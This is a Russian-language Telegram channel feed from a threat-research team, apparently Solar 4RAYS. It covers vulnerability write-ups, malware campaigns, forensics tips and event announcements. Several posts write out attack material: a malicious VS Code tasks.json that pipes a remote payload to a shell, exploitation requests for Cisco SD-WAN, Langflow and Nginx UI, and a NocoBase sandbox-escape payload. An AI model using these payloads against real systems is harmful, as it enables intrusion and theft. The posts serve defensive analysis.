Четыре луча
4.03K subscribers
108 photos
116 links
Облучаем экспертизой

Заметки Solar 4RAYS c полей о DFIRMA, TH, OffSec

Блог: https://rt-solar.ru/solar-4rays/blog/
Download Telegram
Невидимые пользователи в Registry Explorer и ReCmd

Пост для тех, кто пользуется утилитами Эрика Циммермана для ручного просмотра или автоматизированной обработки локальных пользователей Windows.

Вы могли не увидеть часть локальных пользователей из-за бага обработки значений из файла SAM.


Суть бага 💡
У default-значений разделов SAM\Domains\Account\Users\Names\* RID пользователей хранится в той же структуре, в которой обычно хранится тип значения ключа (такие как REG_DWORD, REG_SZ и подобные). Например, у стандартного локального администратора вы можете увидеть тип значения 0x1F4, что соответствует RID 500.

В основной библиотеке Циммермана для работы с реестром, которая была опубликована в GitHub еще в 2014 году, тип значения считывается как 12-битное число и записывается в переменную DataTypeRaw.

Примерно в 2017 году в GitHub появился плагин для обработки SAM, где RID пользователя напрямую берется из переменной DataTypeRaw.

При этом если RID будет больше, чем 4095 (максимальное значение беззнакового 12-битного числа), то логика плагина SAM ломается и пользователь пропадает из вывода утилит Registry Explorer и ReCmd.

Баг существовал в утилитах с момента их публикации.


Не всё так ужасно:

1️⃣ В интерфейсе Registry Explorer или в логе ReCmd вы могли увидеть предупреждение, что плагин SAM отработал с ошибками. И обратить внимание, что на самом деле разделов пользователей больше, чем доступно в выводе утилит.

2️⃣ Баг возникает только если в системе, с которой вы анализируете SAM, исторически было создано более 3095 локальных пользователей (RID начинается с 1001). В обычных условиях это нереалистично.

Вероятнее, вы не сталкивались с этой проблемой, но есть реальный шанс пропустить учетную запись.

😀 Не так давно к нам на анализ попала система, где в результате работы различных самописных скриптов для автоматизации процессов периодически создавались и удалялись локальные учетные записи. Это привело к тому, что недавно созданные учетные записи получали всё более высокое значение RID. Когда атакующие получили доступ к системе, они выполнили создание локальной учетной записи администратора, которая получила RID с пятизначным числом.

Следствие — плагин SAM из Registry Explorer не отобразил учетную запись злоумышленника.

😬 Мы связались с разработчиком и баг уже исправили в новейшей версии плагина SAM от 08.02.2026, поэтому обновитесь в ближайшее время.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥207👌4👍3👀1👾1
Опять $какой-то DDoS

CVE-2026-23864 — уязвимость, которая приводит к отказу в обслуживании из-за большого потребления памяти и чрезмерному использованию центрального процессора в React Server Components.

Уязвимость присутствует в версиях 19.0.0, 19.0.1, 19.0.2, 19.0.3, 19.1.0, 19.1.1, 19.1.2, 19.1.3, 19.1.4, 19.2.0, 19.2.1, 19.2.2, 19.2.3 пакетов:
— react-server-dom-webpack,
— react-server-dom-parcel,
— react-server-dom-turbopack.

🫡 Метрики
Base Score: 7.5 HIGH
CWE: CWE-400, CWE-502


🫡 Об уязвимости
Когда сервер React получает запрос multipart/form-data, он должен декодировать ответ (reply) с помощью функции вроде decodeReplyFromBusboy или decodeReply. Для обработки используется внутренний механизм разборки значений модели, в частности конструкции вида $K<id> (токен).

1️⃣ Парсер создаёт новый объект FormData для каждого токена $K<id>.
2️⃣ Для каждого такого токена он полностью сканирует исходный объект FormData.
3️⃣ Чем больше таких токенов в запросе, тем больше операций копирования и выделения памяти происходит одновременно.
4️⃣ Для эксплуатации уязвимости необходим серверный компонент, который принимает и декодирует тело запроса.

🫡 Пример
Для моделирования уязвимости используем подобную конструкцию:
const root = await decodeReply(formData, {}, {});


formData
— ввод пользователя.
decodeReply — уязвимая функция из react-server-dom-webpack.

Отправим две идентичных нагрузки, только в одной будет массив токенов $K<id>, а во второй просто массив Kx. Результаты на скриншоте.

🫡 Как защититься
1) Обновить все уязвимые компоненты.
2) Написать правило на WAF/IDS, которое будет детектировать токены $K<id> в теле запроса на уязвимый серверный компонент или ограничивать общую длину тела запроса.
Please open Telegram to view this post
VIEW IN TELEGRAM
7🔥3👾2👍1
В одной организации человек открыл фишинговые письма целых пять раз 👀

Да, и такое бывает. Потому что это нестареющая классика для техник первичного доступа.

В новой статье проанализировали фишинговую кампанию Cloud Atlas. Объяснили типичный паттерн действий этой группировки и дали рекомендации, как бороться с сомнительными письмами.

Все подробности в статье.
Please open Telegram to view this post
VIEW IN TELEGRAM
😁188🔥4😱3🤡1👾1
Contagious Interview с русскими кандидатами

Вредоносная кампания, предположительно северокорейских хакеров, распространенная за рубежом, теперь угрожает разработчикам из России.

🫡В открытых источниках мы обнаружили сообщения об атаке против российского разработчика. Злоумышленники притворились потенциальными клиентами и во время общения попросили помочь с разработкой ПО. Они предложили разработчику загрузить проект, который содержал вердоносный код, способный похищать данные криптокошельков и другую личную информацию жертвы.

Кампания длится уже несколько лет и использует изощреные векторы доставки вредоносного ПО. В последнее время широко используется вектор через VS code.

В конкретном случае разработчика пытались взломать, прислав репозиторий проекта w3glpop — «геймерской Web3-панели».

🫡 Активация вредоносной нагрузки BeaverTail происходит при открытии репозитория в VS code. При нажатии Trust во вредоносном проекте срабатывают задачи, указанные в .vscode/tasks.json. Команды в tasks.json могут быть скрыты большим количеством пробельных знаков.

"label": "vscode",
"type": "shell",
"osx": {"command": "curl 'https://task-hrec.vercel.app/task/mac?token=ad76e54312f1' | sh"},
"linux": {"command": "wget -qO- 'https://task-hrec.vercel.app/task/linux?token=ad76e54312f1' | sh"},
"windows": {"command": "curl https://task-hrec.vercel.app/task/windows?token=ad76e54312f1 | cmd"},
"runOptions": {"runOn": "folderOpen"},


Ссылка из вредоносной задачи больше не доступна, но подсказки о последствиях есть в самом репозитории.

Один из файлов — обфусцированный nodejs -загрузчик w3glpop/server/routes/userRoutes.cjs. Он подгружает другой обфусцированный nodejs gjs_shMkMn9.js скрипт и package.json c необходимыми зависимостями. На финальной стадии интервью на компьютер жертвы может подгружаться InvisibleFerret, различные крипто- и инфостилеры.

💡 Проверяйте файлы и задачи репозитория перед открытием в редакторе кода. Для VS Code они содержатся в .vscode/tasks.json. А для IDE JB — в .idea/workplace.xml. Также их можно посмотреть здесь: File > Settings > Tools > StartupTasks.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
👍8🔥8🤔21👾1
Форензика Linux: переменные окружения

У процессов Linux есть переменные окружения, к которым можно получить доступ через файл /proc/<pid>/environ или обработку структур памяти процесса. Переменные окружения устанавливаются системными вызовами setenv() или putenv() и наследуются дочерними процессами. Переменные окружения — это ценные источники данных, потому что в них могут быть аномалии, указывающие на атаку.

Вот некоторые переменные окружения, на которые стоит обращать внимание.
• HISTSIZE — максимальный размер истории команд в памяти текущей сессии оболочки.
• HISTFILE — путь к файлу, в который будет записываться история команд, обычно <user_home>/.bash_history.
• HISTFILESIZE — максимальное количество команд, которое может записаться в файл HISTFILE.
• HISTIGNORE — команды, которые следует исключить из логирования.
• HISTCONTROL — указание на то, какие команды логировать.
• HOME — абсолютный путь к домашней директории пользователя.
• PATH — при запуске файла только по его имени система будет искать файл в указанных директориях в порядке приоритета.
• MYSQL_HISTORY, PSQL_HISTORY — путь к файлу, в который будет записываться история команд в консоли соответствующей БД.
• PWD — текущая директория процесса.
• OLDPWD — PWD родительского процесса.
• SUDO_USER — пользователь, запустивший процесс через команду sudo.
• SHLVL — глубина вложенности текущего процесса оболочки.
• _ — полный путь первой команды при запуске процесса из оболочки. Если исполняемый файл был запущен через лаунчер, например, nohup или screen, в переменной будет путь к лаунчеру.
• LD_PRELOAD — путь к файлу, из которого приоритетно подгружаются определения символов для программы. Может использоваться вредоносным ПО класса rootkit.


У процессов SSH-сессий можно обнаружить следующие переменные окружения.
• SSH_CONNECTION — адрес и порт SSH-клиента, адрес и порт сервера (обычно текущей системы). Переменная может содержать значения, даже если сессия уже завершилась.
• SSH_CLIENT — адрес и порт SSH-клиента из SSH_CONNECTION.
• SSH_ORIGINAL_COMMAND — команда, переданная при инициации SSH-соединения.


Наличие в переменных окружения процесса нетипичных значений может помочь вам обнаружить вредоносное ПО в системе. Например, наличие переменных оболочки в системном процессе может указывать на мимикрию — читайте статью о GoblinRAT. Кроме того, вредоносное ПО может использовать кастомные переменные, например:

gsocket;
Bulldog Backdoor (GoRed);
• бэкдор Vasilek;
• бэкдор IDFKA.

В новой статье — подробнее о переменных окружения и способах детектирования подозрительных процессов.

Сохраняйте пост, чтобы не потерять переменные окружения 😬
🔥1611👍8🙏2🤝2💩1👾1
Cisco SD-WAN Zero-Day

CVE-2026-20127 — уязвимость нулевого дня в Cisco Catalyst SD-WAN и Cisco Catalyst SD-WAN. Она позволяет обойти аутентификацию и получить административные привилегии.

😬 Метрики
Base Score: 10.0 CRITICAL
CWE: CWE-287


😬 Предисловие
Из описания эксплойта, эту уязвимость активно используют в атаках с 2023 года группа киберпреступников UAT-8616. Первые публичные упоминания эксплойта мы зафиксировали 27 февраля — тогда выложили полное описание работы скрипта и ссылку на покупку эксплойта. Вчера в сети появился общедоступный эксплойт.

😬 Как работает эксплуатация
1. Формируется GET-запрос на reports/data/opt/data/containers/config/data-collection-agent/.dca
значение .dca файла — представляет из себя строку, похожую на хеш-значение.
2. Содержимое полученного .dca файла передается POST-запросом на конечную точку /jts/authenticated/j_security_check как пароль. Значение username мы называть не будем, но POST-запрос выглядит так
POST /jts/authenticated/j_security_check HTTP/1.1
Host: localhost
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Length: 74
Content-Type: application/x-www-form-urlencoded

j_username=XXXX&j_password=b3acz89XXXXXXacf302e5

/jts/authenticated/j_security_check - механизм Java EE Form-Based Authentication.

3. При успешной авторизации злоумышленник загружает файл на конечную точку /dataservice/smartLicensing/uploadAck, где в значении filename эксплуатируется уязвимость обхода путей. Пример запроса:
POST /dataservice/smartLicensing/uploadAck HTTP/1.1
Host: localhost
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Cookie: JSESSIONID=c1N2jeCLfkrG2G7wlhJXCJCEt2gTqhoAGcVxxniA.97817f3b6e02100c1bf62e9c2eae9b3f592d91f007bc9dc58ee3830749df194a
Content-Length: 319
Content-Type: multipart/form-data; boundary=c811fbda7a1ec25b4516595aecf20fb8

--c811fbda7a1ec25b4516595aecf20fb8
Content-Disposition: form-data; name="file"; filename="../../../../../../../../../../../var/lib/wildfly/standalone/deployments/cmd.gz.war"
Content-Type: application/java-archive

/*archive bytes */
--c811fbda7a1ec25b4516595aecf20fb8--

/dataservice/smartLicensing/uploadAck – конечная точка загрузки лицензий.

😬 Пример
На скриншоте — авторизация с реальным .dca и случайной строкой. Значение j_username было скрыто. В одном случае мы успешно обошли авторизацию, в другом получили ошибку.

😬 Как защищаться
1) Ограничить доступ к reports/data/opt/data/containers/config/data-collection-agent/ из внешней сети правилами WAF/IDS.
2) Провести аудит недавно авторизированных пользователей из внешней сети через конечную точку /jts/authenticated/j_security_check.
3) Провести аудит подозрительных архивов, переданных через конечную точку /dataservice/smartLicensing/uploadAck.
4) Проверить папку /deployments на подозрительные файлы.
5) Обновиться.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥953👍2👾1
Как и кого атаковали хакеры в 2025 году? Расскажем уже завтра

Каждый день мы расследуем инциденты в инфраструктурах наших клиентов: находим новое вредоносное ПО, сталкиваемся с любопытными примерами применения тактик и техник. Пришло время рассказать о самых интересных находках за прошлый год.

Завтра в 12:00 наши эксперты Иван Шадрин и Владимир Духанин проведут вебинар «Что нужно знать о целевых кибератаках 2025: тренды, прогнозы, кейсы».

На вебинаре ребята расскажут:
🫡 Как изменился ландшафт целевых атак в 2025 году и чего ждать в 2026-м.
🫡 Какие отрасли бизнеса подвергались атакам чаще всего и с какой целью.
🫡 Какие особо интересные техники использовали злоумышленники: разбор кейсов расследований.

Приходите ❤️
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥114🤝3🙏2👾1
Спасибо за backup

CVE-2026-27944 — уязвимость, которая позволяет получить полную резервную копию системы неаутентифицированному злоумышленнику. Проблема затрагивает Nginx UI версий ниже 2.3.3.

Nginx UI — это веб-интерфейс для веб-сервера Nginx.

😬Метрики:
Base Score: 9.8 CRITICAL
CWE: CWE-306, CWE-311


😬Подробнее об уязвимости:
В версиях Nginx UI присутствует уязвимая конечная точка /api/backup, которая позволяет получить полный backup системы. Уязвимость возникает из-за отсутствия механизма проверки аутентификации при обращении к данной конечной точке. Ситуация усугубляется тем, что ключ для расшифровки backup, передается сервером в заголовке HTTP-ответа X-Backup-Security. Это позволяет злоумышленнику получить и расшифровать резервную копию системы.

Пример приведен на скриншоте.

😬Шаги эксплуатации:
1️⃣ Отправка GET-запроса к уязвимой конечной точке /api/backup без аутентификации.
2️⃣ Получение зашифрованного файла резервной копии в теле ответа.
3️⃣ Получение ключа шифрования из заголовка ответа X-Backup-Security.
4️⃣ Расшифровка резервной копии.

😬Как защищаться:
1) Обновиться.
2) Провести аудит запросов к уязвимой конечной точке /api/backup.
3) Ограничить доступ к конечной точке из общей сети. Например, с помощью правил WAF/IDS или белых списков.
4) Сменить пароли, SSL ключи и API токены.
5) Внедрить дополнительную аутентификацию (например, HTTP Basic Authentication) на уровне reverse-proxy.
Please open Telegram to view this post
VIEW IN TELEGRAM
🤣128🔥4👍3😁2👾2
Анализ уязвимости CVE-2026-32746 в telnetd

CVE-2026-32746 — критическая уязвимость переполнения буфера в демонe telnetd из пакета GNU Inetutils. Уязвимы версии до 2.7 включительно.

Уязвимость позволяет удаленному атакующему без аутентификации переполнить буфер, а в некоторых случаях выполнить произвольный код с правами root.

🫡 Метрики
Base Score: 9.8 CRITICAL
CWE: CWE-120


🫡 Причина уязвимости
Проблема возникает в обработчике опции LINEMODE протокола Telnet, а именно в функции add_slc(), которая добавляет SLC-триплеты во внутренний буфер фиксированного размера. Здесь нет проверки границ буфера — в итоге происходит запись за пределами отведенной памяти при обработке большого количества SLC-триплетов.

🫡 Подробнее
При установлении Telnet-сессии telnetd включает LINEMODE и обрабатывает SLC (Set Local Characters). Функция add_slc() записывает SLC-триплеты по 3 байта в статический буфер slcbuf размером 108 байт, из которых 104 байта доступны под данные:
add_slc (register char func, register char flag, register cc_t val)
{

if ((*slcptr++ = (unsigned char) func) == 0xff)
*slcptr++ = 0xff;

if ((*slcptr++ = (unsigned char) flag) == 0xff)
*slcptr++ = 0xff;

if ((*slcptr++ = (unsigned char) val) == 0xff)
*slcptr++ = 0xff;

}


Если клиент отправляет SLC-триплеты с кодами функций выше допустимого NSLC = 18, сервер формирует ответы not supported, добавляя каждый триплет в буфер через add_slc().

Из-за отсутствия проверки границ после порядка 35 триплетов slcbuf переполняется и запись идет за пределы 104 байт — это повреждает данные в BSS, включая указатель slcptr. При последующей обработке в end_slc() используется уже повреженный указатель, что вызывает запись по некорректному адресу и приводит к принудительному завершению процесса.

🫡 Шаги эксплуатации
1) Подключение злоумышленника к telnetd и прохождение negotiation, автоматически соглашаясь со всеми опциями сервера.

2) Инициация LINEMODE командой WILL LINEMODE: она доводит сессию до состояния, при котором сервер подтверждает режим DO LINEMODE и готов обрабатывать suboptions.

3) После активации LINEMODE отправляется Telnet-пакет IAC SB LINEMODE SLC ... IAC SE с избыточным числом SLC-триплетов.

4) Сервер обрабатывает триплеты в slc.c, последовательно записывая их в буфер slcbuf без должной проверки границ.

5) При превышении допустимого количества элементов буфера переполняется, память процесса повреждается. Это приводит к крашу telnetd.

🫡 Как защититься
Уязвимость еще не исправлена, поэтому ограничьте внешний доступ к telnetd или откажитесь от его использования до выхода исправления.
Please open Telegram to view this post
VIEW IN TELEGRAM
6👍5🔥5
Как устроена веб-панель вредоноса ClayRat

ClayRat — Android spyware/RAT, который громко заявил о себе в конце 2025 года, но также быстро исчез из поля зрения. Не самый изощренный, но практичный инструмент для скрытого наблюдения и удаленного управления устройством.

В новой статье мы подробно разбираем серверную и клиентскую часть ClayRat:
как устроен бэкенд на Go, хранение паролей в plaintext, использование JSON хранилища вместо базы данных;
как работает многоуровневая фильтрация SMS по ключевым словам банков и регулярным выражениям;
каким образом генерируются вредоносные APK через специальный шаблон.

Факты о ClayRat:
— Android spyware/RAT с функциональностью перехвата SMS, звонков, контактов, скриншотов и удаленного управления.
— Бэкенд написан на Go, не обфусцирован, содержит дебаг-строки и использует файловое хранение (JSON) вместо СУБД.
— Конфигурация хранится в plaintext: пароли пользователей, токены Telegram/SMS, C2-домены.
— Фильтрация SMS реализует многоуровневый парсинг: поиск по ключевым словам банков, МФО, маркетплейсов, регулярные выражения для номеров карт.
— APK-билдер генерирует вредоносные приложения на основе шаблона с подстановкой конфигурируемых параметров.
— Инфраструктура насчитывала ~100 серверов 

К декабрю 2025 года все C2-серверы стали недоступны. В открытых источниках — информация о задержании в Краснодаре студента, подозреваемого в создании вредоноса.


Если вы занимаетесь анализом Android-угроз, материал поможет быстрее атрибутировать схожие образцы и понимать типичные ошибки разработчиков малвари.

🔗 Читать анализ ClayRat
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥14👍74❤‍🔥1
RCE Langflow

CVE-2026–33017 — уязвимость удаленного выполнения кода (RCE) в Langflow версиях до 1.9.0.

Langflow — это инструмент для создания и развертывания агентов и рабочих процессов на основе ИИ.

🫡 Метрики
Base Score: 9.3 CRITICAL
CWE: CWE-94, CWE-95, CWE-306.


🫡 Об уязвимости
В уязвимых версиях Langflow существует API-точка /api/v1/build_public_tmp/{flow_id}/flow, которая предназначена для создания общедоступных потоков (flows) без авторизации. Конечная точка принимает необязательный параметр data с JSON-описанием графа. При его наличии сервер использует переданные данные вместо сохраненного flow из БД, что позволяет выполнить произвольный Python-код через CustomComponent не изолированно.

🫡 Векторы реализации атак
1) При установки конфигурации Langflow с параметром LANGFLOW_AUTO_LOGIN: "true" , злоумышленник может посмотреть flow_id любого публичного потока через GET-запрос на конечную точку /api/v1/flows/.
Или создать публичный поток через запрос POST/PATCH на конечную точку /api/v1/flows/

После эксплуатации уязвимости публичный поток может быть удален через DELETE-запрос к /api/v1/flows/.

2) При установки конфигурации Langflow с параметром LANGFLOW_AUTO_LOGIN: "false" получение значения flow_id публичного потока злоумышленником, усложниться. Так как все запросы на /api/v1/flows/ будут требовать авторизации.

Значение Cookie client_id в обоих вариантах может быть авто сгенерированным, например, через str(uuid.uuid4()).

LANGFLOW_AUTO_LOGIN: "true" включает функцию автоматического входа и позволяет получать авторизационные cookies без явной авторизации через логин/пароль.

Проверить, включена ли эта настройка, можно с помощью GET-запроса к /api/v1/auto_login: если в ответе возвращается токен авторизации, значит автоматический вход активен. Данная настройка усложняет получение flow_id, но не закрывает уязвимость.

🫡 Эксплуатация
После получения всех необходимых ID-эксплуатация структурно, выглядит так:
POST /api/v1/build_public_tmp/27a7a181-f100-4b9a-a963-13099384eac0/flow HTTP/1.1
Host: localHost
Cookie: client_id=RANDOM_STRING
Content-Type: application/json
{"data": {...}}


Пример можно увидеть на скриншоте.

🫡 Как защищаться
1) Установить LANGFLOW_AUTO_LOGIN: "false”.
2) Обновиться.
3) Написать IDS/WAF-правила, блокирующие POST-запросы на /api/v1/build_public_tmp/{flow_id}/flow, где в параметре data могут передаться потенциально опасные функции, например: import, system, exec, os, popen и т.д.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥12🤔3👍2
Dead Drop Resolver переехал в Spotify и Chess

Если раньше C2 чаще прятали в Steam и Telegram, то теперь в качестве dead drop-источников начинают использовать и менее очевидные площадки — плейлисты Spotify и профили Chess.com.

👍 В новой статье мы разбираем семпл MaskGramStealer, где адрес C2 извлекается из публичного контента легитимных сервисов, а затем используется для дальнейшего взаимодействия с инфраструктурой атакующих.

На практике такая схема усложняет блокировки, поскольку в бинарном файле остаются только ссылки на легитимные ресурсы и маркеры парсинга, а сами C2 злоумышленники могут менять в любой момент без перекомпиляции и пересборки семпла.

Что разобрали в статье:

DDR-источники Spotify и Chess.com (с резервными площадками);
как из публичной страницы извлекается C2;
доставка модулей: base64 — RC4 — проверка MZ;
геофильтрация зараженных устройств из РФ.

Читать разбор техники Dead Drop Resolver в MaskGramStealer
Please open Telegram to view this post
VIEW IN TELEGRAM
👍115🔥5👏2
Как распаковать Smart Install Maker

Во время реверса аналитику регулярно нужно преодолевать многоуровневую обфускацию. Сами знаете: прежде чем добраться до интересной логики, часто приходится вручную разбирать кастомные протоколы, восстанавливать конфигурации или извлекать данные из нестандартных контейнеров.

Особая боль категория таких задач — образцы, собранные с помощью конструкторов инсталляторов. Они маскируют вредоносную нагрузку под легитимный процесс установки, но при этом требуют специфического подхода к распаковке.


😬 Один из инструментов — Smart Install Maker: формат известен давно, но качественных открытых утилит для его разбора до сих пор нет, а существующие решения часто неудобны для интеграции в аналитический пайплайн.

При этом формат продолжают активно использовать злоумышленники, в частности, APT-группа Librarian Likho (aka Rare Werewolf и Rezet) применяла его в своих кампаниях для доставки вредоносов.

Мы написали статью, в которой разобрали внутреннюю структуру этого формата на примере одной из нагрузок Librarian Likho. А ещё делимся кодом распаковщика на Python, который можно сразу использовать.

Всем отличной пятницы ❤️
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11👍62😁1🤔1
Устраиваем «битву кейсов» с коллегами из DSEC. Присоединяйтесь!

Завтра в 12:00 участвуем в вебинаре. Но это не просто вебинар, это настоящая «битва эпических ИБ-историй».

Идея такая:

📍 Мы — делимся историями из реальных расследований инцидентов, которые провели в организациях из шести разных индустрий.

📍 Наши коллеги из DSEC — оппоненты. Они расскажут о самых уязвимых веб-приложениях, самых распространённых брешах во внешнем и внутреннем контурах. Ребята провели 400 пентестов, им есть что рассказать!

Насколько те проблемы безопасности, которые мы находим в качестве причин реальных инцидентов, перекликаются с тем, что находят в своей работе эксперты из DSEC?

Мы в предвкушении. Если и вы тоже, то присоединяйтесь к «битве»: https://rt-solar.ru/analytics/webinars/6463/
Please open Telegram to view this post
VIEW IN TELEGRAM
10👍8🔥7
Побег из песочницы

CVE-2026–34156 — уязвимость выполнения удаленного кода (RCE) в NocoBase. Проблема закрыта в версии 2.0.28 и выше.

NocoBase — это легко расширяемая open-source no-code/low-code платформа для разработки, которая помогает командам разработчиков и бизнесу быстро создавать собственные управляемые бизнес-системы.


🫡 Метрики
Base Score: 9.9 CRITICAL
CWE: CWE-913


🫡 Об уязвимости
Проблема возникает в узле JavaScript рабочего процесса (workflow script node), где JavaScript-код пользователя выполняется в изолированной среде, но при этом объект console предоставляет доступ к потокам хост-процесса через console._stdout и console._stderr. Злоумышленнику достаточно базовых прав, чтобы вытащить объекты WritableWorkerStdio и выйти за пределы изоляции.

Уязвимая конечная точка — /api/flow_nodes:test

Уязвимость может усугублять еще один фактор: при развертывании уязвимой версии NocoBase, данные от пользовательского интерфейса авторизации задаются константно, их можно узнать в документации к NocoBase. Эти логин и пароль дают доступ администратора.

🫡 Код для выхода из песочницы. Пример команды
const cons=console._stdout.constructor.constructor;
const proc= cons('return process')();
const cmd=proc.mainModule.require('child_process');
return cmd.execSync('id').toString().trim();


console._stdout.constructor.constructor или аналог console._stderr.constructor.constructor - пытается добраться до конструктора Function через цепочку прототипов.

cons('return process')() — создаёт функцию, которая возвращает объект process из хост-среды.

proc.mainModule.require('child_process') — загружает модуль child_process.

execSync('COMAND') — выполняет системную команду и возвращает вывод. Вариации полезной нагрузки могут изменяться, например, кодироваться, передаваться в другом регистре и т.д.

execSync(String.fromCharCode(105,100)).toString().trim() — выполнит команду ID.

К посту прикреплен docker-compose файл, для сборки уязвимой версии NocoBase. Логин и пароль для авторизации предлагаем найти самостоятельно.

🫡 Как настроить стенд
Шестеренка -> workflow -> Add new - > заполняем произвольно -> в появившемся workflow, в столбце Action, выбираем Configure -> в рабочей области нажимаем на + -> Extended types выбираем JavaScript -> в появившемся узле JavaScript нажимаем на значок консоли -> Script content и есть поле, через которое происходит эксплуатация. А дальше по классике Burp Suite и Repeater. Пример на скриншоте.

🫡 Как защититься
1) Сменить стандартные логин и пароль администратора.
2) Ограничить доступ к /api/flow_nodes:test только администраторам.
3) Обновиться.
4) Блокировка POST-запросов к /api/flow_nodes:test, в Body которых передается console._stdout или console._stderr. Например, правилами WAF/IDS.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥73👍3😁1
Что общего у атак Shedding Zmiy и русской литературной классики?

И там, и там есть мертвые души.

Недавно мы расследовали инцидент — проукраинская группировка атаковала крупную российскую организацию в сфере здравоохранения.

Выяснили, что атакующие более шести месяцев имели доступ к инфраструктуре организации из отрасли здравоохранения через VPN и шпионили. Подключались к инфраструктуре с помощью учетных записей уволенных сотрудников, которые вовремя не вывели из эксплуатации. 

😬 Читайте подробности в новой статье
Please open Telegram to view this post
VIEW IN TELEGRAM
15🔥11😎9👍4
Приходите на Митап Solar 4RAYS: расследование инцидентов, вредоносное ПО, киберразведка

📅 21 апреля в 18:00 в Амфитеатре офиса «Солар» на Никитском переулке пройдет митап команды Solar 4RAYS — открытая встреча для всех, кому близка тема киберугроз, расследований и охоты за вредоносами.

В программе:
😬 разберем новое исследование крупного ботнета;
😬 доклады приглашенных спикеров из других ИБ-компаний с реальными кейсами и находками;
😬 мини-соревнование: приготовили задание на форензику, так что можно будет попробовать себя в роли расследователя цифрового инцидента.

Подробную программу скоро опубликуем, но уже сейчас можно бронировать слот в календаре.

Зарегистрироваться

Как говорится, save the date — будет насыщенно, полезно и уж точно не скучно ;)
Please open Telegram to view this post
VIEW IN TELEGRAM
15🔥10👌3
Митап Solar 4RAYS уже завтра: осталось 10 мест 😬

Какую программу подготовили:

Лада Антипова из Angara Security расскажет об ошибках, которые могут кардинально изменить подход к реагированию на инциденты.

Алексей Хабаров из Solar 4RAYS расскажет об истории ботнета ProxyCB.

Антон Каргин из Kaspersky GReAT сделает обзор новых инструментов группировки Silver Fox.

Максим Шаманов из Positive Technologies на примере инструментария PhantomCore объяснит, как разбирать вредоносное ПО и работать с обфускацией.
А еще эксперты команды DFIR и MA из Solar 4RAYS приготовили DropMeAgent — несложное (но и не простое;)) задание из области цифровой криминалистики. Если собираетесь к нам и настроены на загадки, захватите ноутбук — пригодится для решения.

В общем, мы подготовили интересный ивент для ИБшников, как начинающих, так и продолжающих.

Так что сейчас самое время зарегистрироваться на мероприятие: осталось всего 10 мест!

Когда: 21 апреля в 18:00
Где: офис «Солара», Никитский переулок, 7с1

До встречи на митапе ❤️
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥177🫡6
Решение задания с митапа Solar 4RAYS

Мы предложили участникам решить CTF-задание DropMeAgent с анализом «вредоносного» файла. Несмотря на отдельные комментарии, что задание было слишком простое, за отведенное время его решили всего два участника. У большинства возникли сложности и вопросы на разных этапах выполнения. Делимся решением.

💡 Задание:
Нужно проанализировать вредоносный файл Agent.exe. Для решения задания потребуется ноутбук и доступ к интернету.

Формат флага: ^flag\{[A-Za-z0-9_]+\}$
PS: файл получился действительно вредоносным! Настоятельно рекомендуем не запускать файл в основной системе — используйте виртуальную машину для решения.

Ссылка на файл: https://dropmefiles.com/cBPuk
Пароль от архива: 123

* ссылка доступна до 24.04.2026


Решение:

0️⃣ Любым способом нужно определить, что файл Agent.exe — это приложение .NET 9. Следовательно, потребуется декомпилятор (например, ILSpy). Также в описанном решении потребуется .NET 9 SDK и IDE для C#

1️⃣ В результате анализа Agent.exe должны получиться следующие данные:

— В классе Params в переменной Message содержится зашифрованная конфигурация файла.
— Метод RunAssembly загружает с dropmefiles.com зашифрованные сборки .NET и запускает их.
— Расшифровка конфигурации и сборок выполняется с помощью метода Dec.
— Метод GetParams расшифровывает и парсит конфигурацию

2️⃣ Чтобы облегчить решение, создаем свой проект на C# и переносим в него класс Params и методы Dec и GetParams. С помощью расшифровки Message получаем конфигурацию:
Encoding.UTF8.GetString(Dec(Params.Message))

{
"c": "https://dropmefiles.com/",
"i": 2,
"p":
[
{ "PxyG8": "1" },
{ "ExwwU": "1" },
{ "KRhvk": "3" }
]
}


Так получаем три ссылки на сборки .NET с ресурса dropmefiles.com

3️⃣ Поочередно расшифровываем все обнаруженные нагрузки
var decrypted_dll = Dec(File.ReadAllBytes("payload1"));
File.WriteAllBytes("payload1.dll", decrypted_dll);


4️⃣ В результате декомпиляции payload1 получаем код:
public class EntryPoint
{
private static string SECRET = "srm3sKOuv+q/srO6v5XSvNCXh56btoeCmIyesMLBwMWJ";

public static void Run()
{
Console.WriteLine(Decrypt(SECRET));
}

private static string Decrypt(string cipherText)
{
byte[] array = Convert.FromBase64String(cipherText);
for (int i = 0; i < array.Length; i++)
{
array[i] ^= (byte)(212 + i);
}
return Encoding.UTF8.GetString(array);
}
}


5️⃣ Запускаем код из payload1 и сдаем флаг организаторам.

Надеемся, что вы не попались на рик-ролл и не потратили много времени на поиск флага в файле flag.mp4.

Ну что, насколько сложным был таск?

🤓 — слишком просто
😨 — слишком сложно
🔥 — всё понравилось
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥23😨9🤓8👾4👍1
Большая атака на маленькую компанию

Злоумышленники за две недели уничтожили всю инфраструктуру небольшой спортивной организации с помощью старой утечки у крупного подрядчика-интегратора ПО.

В процессе атаки обнаружили образец вредоносного ПО на .NET
Framework, который мимикрирует под установленный в 1C.

Подробности в новой статье
🔥8👀8👍3🤣21